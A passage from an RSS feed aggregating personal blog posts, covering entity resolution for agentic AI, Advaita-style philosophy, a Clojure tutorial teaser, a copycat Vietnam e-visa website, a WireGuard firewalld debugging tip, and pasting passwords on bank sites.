x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>*Based on $15 per 1M tokens (GPT-4.1 tier). </p><p>Even with cheaper models, the % waste stays the same. That&#8217;s just <strong>compute waste</strong>. It doesn&#8217;t even include the cost of fixing the damage &#8212; reissuing refunds, restoring trust, or dealing with regulatory fallouts. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!v2RK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd67a3f44-2127-45d5-96fd-8a6fb626cf8b_1536x1024.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!v2RK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd67a3f44-2127-45d5-96fd-8a6fb626cf8b_1536x1024.png 424w, https://substackcdn.com/image/fetch/$s_!v2RK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd67a3f44-2127-45d5-96fd-8a6fb626cf8b_1536x1024.png 848w, https://substackcdn.com/image/fetch/$s_!v2RK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd67a3f44-2127-45d5-96fd-8a6fb626cf8b_1536x1024.png 1272w, https://substackcdn.com/image/fetch/$s_!v2RK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd67a3f44-2127-45d5-96fd-8a6fb626cf8b_1536x1024.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!v2RK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd67a3f44-2127-45d5-96fd-8a6fb626cf8b_1536x1024.png" width="1456" height="971" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d67a3f44-2127-45d5-96fd-8a6fb626cf8b_1536x1024.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:971,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1793812,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.learningfromdata.zingg.ai/i/170856561?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd67a3f44-2127-45d5-96fd-8a6fb626cf8b_1536x1024.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!v2RK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd67a3f44-2127-45d5-96fd-8a6fb626cf8b_1536x1024.png 424w, https://substackcdn.com/image/fetch/$s_!v2RK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd67a3f44-2127-45d5-96fd-8a6fb626cf8b_1536x1024.png 848w, https://substackcdn.com/image/fetch/$s_!v2RK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd67a3f44-2127-45d5-96fd-8a6fb626cf8b_1536x1024.png 1272w, https://substackcdn.com/image/fetch/$s_!v2RK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd67a3f44-2127-45d5-96fd-8a6fb626cf8b_1536x1024.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><div><hr></div><h2>Why I care about this (and what we built at Zingg)</h2><p>Before I started Zingg, I kept running into the same frustration:<br>We had amazing ML models, sophisticated rules engines, smart agents&#8230; but they were all reasoning on <strong>fragmented, messy entities</strong>.</p><p>At Zingg, we decided to treat entity resolution as a <strong>first-class product</strong>, not a one-off data cleanup exercise. That means:</p><ul><li><p>Matching at scale across CRMs, EHRs, billing systems, and data lakes</p></li><li><p>Adaptive learning so the matching improves with every variation we see</p></li><li><p>Transparent decisions so you can explain why two records were linked</p></li></ul><p>When customers put this layer under their agentic AI, they stopped paying for their agents to repeatedly do the wrong thing. In one case, a bank&#8217;s fraud detection improved 4x &#8212; without touching the AI model.</p><div><hr></div><h2>My advice to data leaders</h2><p>If you&#8217;re about to launch an agentic AI project, take a breath.<br>Before you buy another GPU hour or fine-tune another model, ask:</p><blockquote><p>&#8220;Do my agents actually know <em>who</em> they&#8217;re dealing with?&#8221;</p></blockquote><p>Because in my experience, <strong>agentic AI is the race car. Entity resolution is the track.</strong><br>You wouldn&#8217;t run a Formula 1 machine on gravel and expect to win.</p><div><hr></div><p><em>P.S. If you&#8217;re curious about what we are building at Zingg, or have war stories about entity chaos in AI systems, I&#8217;d love to hear from you.</em></p><div><hr></div>]]></content:encoded>
            <author>Sonal Goyal</author>
            <enclosure url="https://substackcdn.com/image/fetch/$s_!vE0q!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c295d1-f874-45b3-bd97-acdf45a2a531_1257x323.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[The Matrix Got It Wrong!]]></title>
            <link>https://www.prashanthudupa.com/the-matrix-got-it-wrong/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/the-matrix-got-it-wrong/</guid>
            <pubDate>Fri, 08 Aug 2025 15:52:53 GMT</pubDate>
            <description><![CDATA[The 1999 blockbuster “The Matrix” unpacked so many complex philosophical ideas in a way that complete non-philosophers could comprehend and munch on them. I clearly notice a fundamental shift in my understanding of reality before and after The Matrix. When I watched it for the first time, I knew I got something, but couldn’t put […]]]></description>
            <content:encoded><![CDATA[The 1999 blockbuster &#8220;The Matrix&#8221; unpacked so many complex philosophical ideas in a way that complete non-philosophers could comprehend and munch on them. I clearly notice a fundamental shift in my understanding of reality before and after The Matrix. When I watched it for the first time, I knew I got something, but couldn&#8217;t put [&#8230;]]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Insight</category>
            <category>Philosophy</category>
            <category>Uncategorized</category>
        </item>
        <item>
            <title><![CDATA[Understanding not just Clojure's comp function by re-implementing it]]></title>
            <link>https://www.evalapply.org/posts/lessons-from-reimplementing-clojure-comp-function/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/lessons-from-reimplementing-clojure-comp-function/index.html</guid>
            <pubDate>Fri, 08 Aug 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Because I realised thinking like this is not obvious to Clojure newcomers, especially those having non-FP first languages. Because I was there too, all those moons ago! Feat. a salty footnote about the misdirected rancour popularly heaped upon CSS (yes, Cascading Style Sheets), triggered by that fact that 'comp' is a combinator, and I think they should have called it Combinatory Styling System.]]></description>
            <content:encoded><![CDATA[Because I realised thinking like this is not obvious to Clojure newcomers, especially those having non-FP first languages. Because I was there too, all those moons ago! Feat. a salty footnote about the misdirected rancour popularly heaped upon CSS (yes, Cascading Style Sheets), triggered by that fact that 'comp' is a combinator, and I think they should have called it Combinatory Styling System.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>clojure</category>
            <category>functional_programming</category>
            <category>howto</category>
            <category>riff</category>
        </item>
        <item>
            <title><![CDATA[Tricked by a website while applying for Vietnam visa]]></title>
            <link>https://ravidwivedi.in/posts/vietnam-visa/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/vietnam-visa/</guid>
            <pubDate>Tue, 05 Aug 2025 22:55:05 GMT</pubDate>
            <description><![CDATA[In December 2024, Badri and I went to Vietnam. In this post, I’ll document our experiences with the visa process of Vietnam. Vietnam requires an e-visa to enter the country. The official online portal for the e-visa application is evisa.xuatnhapcanh.gov.vn/. However, I submitted my visa application on the website vietnamvisa.govt.vn. It was only after submitting my application and making the payment that I realized that it’s not the official e-visa website. The realization came from the tagline mentioned in the top left corner of the website - the best way to obtain a Vietnam visa.
I was a bit upset that I got tricked by that website. I should have checked the top level domains of Vietnam’s government websites. Anyways, it is pretty easy to confuse govt.vn with gov.vn. I also paid double the amount of the official visa fee. However, I wasn’t asked to provide a flight reservation or hotel bookings - documents which are usually asked for most of the visas. But they did ask me for a photo. I was not even sure whether the website was legit or not.
Badri learnt from my experience and applied through the official Vietnam government website. During the process, he had to provide a hotel booking as well as enter the hotel address into the submission form. Additionally, the official website asked to provide the exact points of entry to and exit from the country, which the non-official website did not ask for. On the other hand, he had to pay only 25 USD versus my 54 USD.
It turned out that the website I registered on was also legit, as they informed me a week later that my visa has been approved, along with a copy of my visa. Further, I was not barred from entering and found to be holding a fake visa. It appears that the main “scam” is not about the visa being fake, but rather that you will be charged more than if you apply through the official website.
I would still recommend you (the readers) to submit your visa application only through the official website and not on any of the other such websites.
Our visa was valid for a month (my visa was valid from the 4th of December 2024 to the 4th of January 2025). We also had a nice time in Vietnam. Stay tuned for my Vietnam travel posts!
Credits to Badri for proofreading and writing his part of the experience.]]></description>
            <content:encoded><![CDATA[<p>In December 2024, <a href="https://badrihippo.thekambattu.rocks/">Badri</a> and I went to Vietnam. In this post, I&rsquo;ll document our experiences with the visa process of Vietnam. Vietnam requires an e-visa to enter the country. The official online portal for the e-visa application is <a href="https://evisa.xuatnhapcanh.gov.vn/">evisa.xuatnhapcanh.gov.vn/</a>. However, I submitted my visa application on the website <a href="https://vietnamvisa.govt.vn/">vietnamvisa.govt.vn</a>. It was only after submitting my application and making the payment that I realized that it&rsquo;s not the official e-visa website. The realization came from the tagline mentioned in the top left corner of the website - the best way to obtain a Vietnam visa.</p>
<p>I was a bit upset that I got tricked by that website. I should have checked the top level domains of Vietnam&rsquo;s government websites. Anyways, it is pretty easy to confuse <code>govt.vn</code> with <code>gov.vn</code>. I also paid double the amount of the official visa fee. However, I wasn&rsquo;t asked to provide a flight reservation or hotel bookings - documents which are usually asked for most of the visas. But they did ask me for a photo. I was not even sure whether the website was legit or not.</p>
<p>Badri learnt from my experience and applied through the official Vietnam government website. During the process, he had to provide a hotel booking as well as enter the hotel address into the submission form. Additionally, the official website asked to provide the exact points of entry to and exit from the country, which the non-official website did not ask for. On the other hand, he had to pay only 25 USD versus my 54 USD.</p>
<p>It turned out that the website I registered on was also legit, as they informed me a week later that my visa has been approved, along with a copy of my visa. Further, I was not barred from entering and found to be holding a fake visa. It appears that the main &ldquo;scam&rdquo; is not about the visa being fake, but rather that you will be charged more than if you apply through the official website.</p>
<p>I would still recommend you (the readers) to submit your visa application only through the <a href="https://evisa.xuatnhapcanh.gov.vn/">official website</a> and not on any of the other such websites.</p>
<p>Our visa was valid for a month (my visa was valid from the 4th of December 2024 to the 4th of January 2025). We also had a nice time in Vietnam. Stay tuned for my Vietnam travel posts!</p>
<p><strong>Credits to Badri for proofreading and writing his part of the experience.</strong></p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Turiya (Pure-Consciousness)]]></title>
            <link>https://www.prashanthudupa.com/turiya-pure-consciousness/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/turiya-pure-consciousness/</guid>
            <pubDate>Sun, 03 Aug 2025 09:27:49 GMT</pubDate>
            <description><![CDATA[Many spiritual traditions say that enlightenment reveals the world as an illusion and lets you see true reality. But what does that really mean? The Mandukya Upanishad describes four states of human experience: waking, dreaming, deep sleep, and a fourth called Turiya. The Four States The first three—waking, dreaming, and deep sleep—are familiar to us. […]]]></description>
            <content:encoded><![CDATA[Many spiritual traditions say that enlightenment reveals the world as an illusion and lets you see true reality. But what does that really mean? The Mandukya Upanishad describes four states of human experience: waking, dreaming, deep sleep, and a fourth called Turiya. The Four States The first three—waking, dreaming, and deep sleep—are familiar to us. [&#8230;]]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Philosophy</category>
        </item>
        <item>
            <title><![CDATA[Pull back from the machine]]></title>
            <link>https://www.prashanthudupa.com/pull-back-from-the-machine/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/pull-back-from-the-machine/</guid>
            <pubDate>Sat, 02 Aug 2025 06:30:48 GMT</pubDate>
            <description><![CDATA[Introduction Recently my older brother stumbled upon a AI documentation generator called DeepWiki, and shared a full documentation of my Scrite project he generated using it. DeepWiki can parse the source code of any project hosted on a public Git repository like GitHub and construct documentation explaining the architecture and implementation. Benefits of AI-Documentation Back […]]]></description>
            <content:encoded><![CDATA[Introduction Recently my older brother stumbled upon a AI documentation generator called DeepWiki, and shared a full documentation of my Scrite project he generated using it. DeepWiki can parse the source code of any project hosted on a public Git repository like GitHub and construct documentation explaining the architecture and implementation. Benefits of AI-Documentation Back [&#8230;]]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Insight</category>
            <category>Philosophy</category>
        </item>
        <item>
            <title><![CDATA[Observer = Observed]]></title>
            <link>https://www.prashanthudupa.com/observer-observed/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/observer-observed/</guid>
            <pubDate>Fri, 01 Aug 2025 07:55:41 GMT</pubDate>
            <description><![CDATA[On my morning walk in the park today, I had this very surreal knowing that my mind was I was reduced to a mere witness of this whole show. Yet, oddly, it did not feel like a reduction. It felt like the mind was dipping into “me” to construct both the world and the experiencer […]]]></description>
            <content:encoded><![CDATA[On my morning walk in the park today, I had this very surreal knowing that my mind was I was reduced to a mere witness of this whole show. Yet, oddly, it did not feel like a reduction. It felt like the mind was dipping into &#8220;me&#8221; to construct both the world and the experiencer [&#8230;]]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Insight</category>
            <category>Moments</category>
            <category>Philosophy</category>
        </item>
        <item>
            <title><![CDATA[TIL: WireGuard's Misleading "No Route to Host" Error]]></title>
            <link>https://mrkaran.dev/posts/wireguard-route-fix/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/wireguard-route-fix/</guid>
            <pubDate>Wed, 30 Jul 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[I recently spent some time debugging a WireGuard tunnel that was acting weird. The handshake was successful, pings worked perfectly, but any TCP connection failed with connect: no route to host.
Classic misleading error message. The routing was fine.
The Setup#
Server with a public IP running WireGuard (wg0) with IP 10.100.0.1/24. Client connects and gets assigned 10.100.0.2/32. I wanted to proxy TCP traffic from the server to a service running on the client at 10.100.0.2:7778.
The Investigation#
Diagnostics showed contradictory results:
Routing worked fine: Server routing table correctly directed 10.100.0.0/24 traffic to wg0. Pings were successful:
# On the server
$ ping -c 3 10.100.0.2
PING 10.100.0.2 (10.100.0.2) 56(84) bytes of data.
64 bytes from 10.100.0.2: icmp_seq=1 ttl=64 time=150 ms
...
TCP failed immediately:
# On the server
$ curl -v http://10.100.0.2:7778
* Trying 10.100.0.2:7778...
* connect to 10.100.0.2 port 7778 from 10.100.0.1 port 59812 failed: No route to host
The key insight: ICMP was being treated differently than TCP. This pointed to a firewall issue, not routing. The “no route to host” error was the kernel interpreting an ICMP “Destination Unreachable” message from the remote peer.
But when I ran tcpdump on the client, things got stranger:
# On the client
$ sudo tcpdump -i any -n 'host 10.100.0.1'

# Output when the server tries to connect
17:36:03.043147 wg0 In  IP 10.100.0.1.14808 > 10.100.0.2.7778: Flags [S], seq 324784341, win 42780, ...
The TCP SYN packet arrived successfully through wg0. But no response. No SYN-ACK (success), no ICMP error (rejection). The packet was being silently dropped.
The Culprit: firewalld#
The client was running Arch Linux with firewalld. My mistake was trying to manage firewall rules with iptables commands in the WireGuard PostUp script. While iptables was installed, firewalld was the active manager, using nftables as its backend.
When a new interface like wg0 comes up, firewalld needs to know which “zone” it belongs to. If unassigned, it gets handled by a restrictive default policy that silently DROPs unsolicited TCP packets while allowing ICMP (pings).
The Fix#
Don’t add iptables rules. Just assign the WireGuard interface to the right firewalld zone. For internal tunnels, trusted works well.
On the client:
sudo firewall-cmd --permanent --zone=trusted --add-interface=wg0
sudo firewall-cmd --reload
TCP connections worked instantly after this.
TL;DR: If WireGuard pings work but TCP fails with “no route to host”, it’s probably a client firewall issue. On firewalld systems, assign the WireGuard interface to the right zone instead of messing with iptables.
Fin!]]></description>
            <content:encoded><![CDATA[<p>I recently spent some time debugging a WireGuard tunnel that was acting weird. The handshake was successful, pings worked perfectly, but any TCP connection failed with <code>connect: no route to host</code>.</p>
<p>Classic misleading error message. The routing was fine.</p>
<h2 id="the-setup">The Setup<a class="zola-anchor" href="#the-setup" aria-label="Anchor link for: the-setup">#</a></h2>
<p>Server with a public IP running WireGuard (<code>wg0</code>) with IP <code>10.100.0.1/24</code>. Client connects and gets assigned <code>10.100.0.2/32</code>. I wanted to proxy TCP traffic from the server to a service running on the client at <code>10.100.0.2:7778</code>.</p>
<h2 id="the-investigation">The Investigation<a class="zola-anchor" href="#the-investigation" aria-label="Anchor link for: the-investigation">#</a></h2>
<p>Diagnostics showed contradictory results:</p>
<p><strong>Routing worked fine:</strong> Server routing table correctly directed <code>10.100.0.0/24</code> traffic to <code>wg0</code>. Pings were successful:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> On the server</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> ping</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">c</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 3</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10.100.0.2</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">PING</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10.100.0.2</span><span> (10.100.0.2</span><span>) 56(</span><span style="color: light-dark(#6F42C1, #F69D50);">84</span><span>) bytes of data.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">64</span><span style="color: light-dark(#032F62, #96D0FF);"> bytes</span><span style="color: light-dark(#032F62, #96D0FF);"> from</span><span style="color: light-dark(#032F62, #96D0FF);"> 10.100.0.2:</span><span style="color: light-dark(#032F62, #96D0FF);"> icmp_seq=</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);"> ttl=</span><span style="color: light-dark(#005CC5, #6CB6FF);">64</span><span style="color: light-dark(#032F62, #96D0FF);"> time=</span><span style="color: light-dark(#005CC5, #6CB6FF);">150</span><span style="color: light-dark(#032F62, #96D0FF);"> ms</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span></span></code></pre>
<p><strong>TCP failed immediately:</strong></p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> On the server</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> curl</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">v</span><span style="color: light-dark(#032F62, #96D0FF);"> http://10.100.0.2:7778</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">*</span><span> Trying 10.100.0.2:7778...</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">*</span><span> connect to 10.100.0.2 port 7778 from 10.100.0.1 port 59812 failed: No route to host</span></span></code></pre>
<p>The key insight: <code>ICMP</code> was being treated differently than <code>TCP</code>. This pointed to a firewall issue, not routing. The “no route to host” error was the kernel interpreting an ICMP “Destination Unreachable” message from the remote peer.</p>
<p>But when I ran <code>tcpdump</code> on the client, things got stranger:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> On the client</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> tcpdump</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);"> any</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">host 10.100.0.1</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Output when the server tries to connect</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">17:36:03.043147</span><span style="color: light-dark(#032F62, #96D0FF);"> wg0</span><span style="color: light-dark(#032F62, #96D0FF);"> In</span><span style="color: light-dark(#032F62, #96D0FF);">  IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10.100.0.1.14808</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> 10.100.0.2.7778:</span><span style="color: light-dark(#032F62, #96D0FF);"> Flags</span><span> [S</span><span>], seq 324784341, win 42780, ...</span></span></code></pre>
<p>The <code>TCP SYN</code> packet arrived successfully through <code>wg0</code>. But no response. No <code>SYN-ACK</code> (success), no <code>ICMP</code> error (rejection). The packet was being silently dropped.</p>
<h2 id="the-culprit-firewalld">The Culprit: <code>firewalld</code><a class="zola-anchor" href="#the-culprit-firewalld" aria-label="Anchor link for: the-culprit-firewalld">#</a></h2>
<p>The client was running Arch Linux with <code>firewalld</code>. My mistake was trying to manage firewall rules with <code>iptables</code> commands in the WireGuard <code>PostUp</code> script. While <code>iptables</code> was installed, <code>firewalld</code> was the active manager, using <code>nftables</code> as its backend.</p>
<p>When a new interface like <code>wg0</code> comes up, <code>firewalld</code> needs to know which “zone” it belongs to. If unassigned, it gets handled by a restrictive default policy that silently <code>DROP</code>s unsolicited TCP packets while allowing ICMP (pings).</p>
<h2 id="the-fix">The Fix<a class="zola-anchor" href="#the-fix" aria-label="Anchor link for: the-fix">#</a></h2>
<p>Don’t add <code>iptables</code> rules. Just assign the WireGuard interface to the right <code>firewalld</code> zone. For internal tunnels, <code>trusted</code> works well.</p>
<p>On the <strong>client</strong>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> firewall-cmd</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-permanent</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-zone=trusted</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-add-interface=wg0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> firewall-cmd</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-reload</span></span></code></pre>
<p>TCP connections worked instantly after this.</p>
<p><strong>TL;DR:</strong> If WireGuard pings work but TCP fails with “no route to host”, it’s probably a client firewall issue. On <code>firewalld</code> systems, assign the WireGuard interface to the right zone instead of messing with <code>iptables</code>.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[How to paste your password on your bank's website]]></title>
            <link>https://ravidwivedi.in/posts/how-to-paste-password-on-bank-site/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/how-to-paste-password-on-bank-site/</guid>
            <pubDate>Tue, 29 Jul 2025 07:38:51 GMT</pubDate>
            <description><![CDATA[If your bank is like mine, its website doesn’t allow you to copy your password and paste it by performing a simple Ctrl+V. I tried the Don’t Fuck With Paste extension in Firefox, which could paste my bank account’s profile password but not the login password.
Therefore, I asked on Mastodon a couple of days ago and got some responses. The solution that worked for me was to use Shift+Insert to paste the password. It worked for me in LibreWolf and Firefox, and that’s all I needed.
Furthermore, this behavior by bank websites leads to users choosing insecure and memorable passwords. Using this trick will help you choose strong passwords for your bank account.
I prefer to use random and strong passwords generated using the password manager pass. It is a freedom-respecting software, unlike popular proprietary password managers promoted by YouTubers. Feel free to check out their webpage here. The reason I use pass is that it stores all the passwords locally (and optionally in a remote Git repository) in encrypted form, which can only be decrypted using your private GPG keys.]]></description>
            <content:encoded><![CDATA[<p>If your bank is like mine, its website doesn&rsquo;t allow you to copy your password and paste it by performing a simple Ctrl+V. I tried the Don&rsquo;t Fuck With Paste extension in Firefox, which could paste my bank account&rsquo;s profile password but not the login password.</p>
<p>Therefore, I asked on Mastodon a couple of days ago and got some responses. The solution that worked for me was to use Shift+Insert to paste the password. It worked for me in LibreWolf and Firefox, and that&rsquo;s all I needed.</p>
<p>Furthermore, this behavior by bank websites leads to users choosing insecure and memorable passwords. Using this trick will help you choose strong passwords for your bank account.</p>
<p>I prefer to use random and strong passwords generated using the password manager <code>pass</code>. It is a freedom-respecting software, unlike popular proprietary password managers promoted by YouTubers. Feel free to check out their webpage <a href="https://www.passwordstore.org/">here</a>. The reason I use pass is that it stores all the passwords locally (and optionally in a remote Git repository) in encrypted form, which can only be decrypted using your private GPG keys.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Morality, Choice, Free-Will, and Responsibility]]></title>
            <link>https://www.prashanthudupa.com/morality-choice-free-will-and-responsibility/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/morality-choice-free-will-and-responsibility/</guid>
            <pubDate>Fri, 25 Jul 2025 06:29:16 GMT</pubDate>
            <description><![CDATA[In our everyday experience, we often think of ourselves as a separate “Self”-a permanent entity that is distinct from everything else in the world, including other people and things. This sense of separation can lead to anxiety, fear, and other forms of suffering. Non-duality offers a radical shift in perspective. Instead of seeing ourselves as […]]]></description>
            <content:encoded><![CDATA[In our everyday experience, we often think of ourselves as a separate &#8220;Self&#8221;-a permanent entity that is distinct from everything else in the world, including other people and things. This sense of separation can lead to anxiety, fear, and other forms of suffering. Non-duality offers a radical shift in perspective. Instead of seeing ourselves as [&#8230;]]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Insight</category>
            <category>Philosophy</category>
        </item>
        <item>
            <title><![CDATA[On Memory]]></title>
            <link>https://www.prashanthudupa.com/on-memory/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/on-memory/</guid>
            <pubDate>Sun, 20 Jul 2025 08:18:16 GMT</pubDate>
            <description><![CDATA[Memory is whatever the mind brings up. Hypothetically, the mind can create random images, thoughts, and bodily sensations that feel like memories. Even when the body-mind system is working perfectly, memory is always at the mercy of whatever it pulls up in the moment. It’s possible that the body-mind system isn’t buggy and it never […]]]></description>
